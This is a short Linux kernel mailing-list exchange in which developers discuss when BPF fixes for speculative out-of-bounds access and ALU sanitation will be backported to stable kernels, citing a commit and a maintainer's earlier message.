- Typo fixes in commit msg and a comment, thanks David!Applied, Thanks
Quoted 7 lines
Quoted 4 lines
This series and the followup fix ("bpf: fix sanitation of alu op with pointer / scalar type from different paths") have been in Linus' tree for six days, but from what I can tell, they aren't queued up for stable yet.
What are the git commit ids of the patches you think should be backported?
Daniel Borkmann said at
https://marc.info/?l=linux-netdev&m=154820859831443&w=2 :
Quoted 7 lines
| Will get this to stable towards end of week. We wanted to let this sit | for a while in Linus' tree given the complexity of the fix to get some | more coverage. We also need 9d5564ddcf2a ("bpf: fix inner map masking |to prevent oob under speculation") in addition., so I expect that he's going to submit a request for stable inclusion in the next few days. The git commits are:
Yep, correct.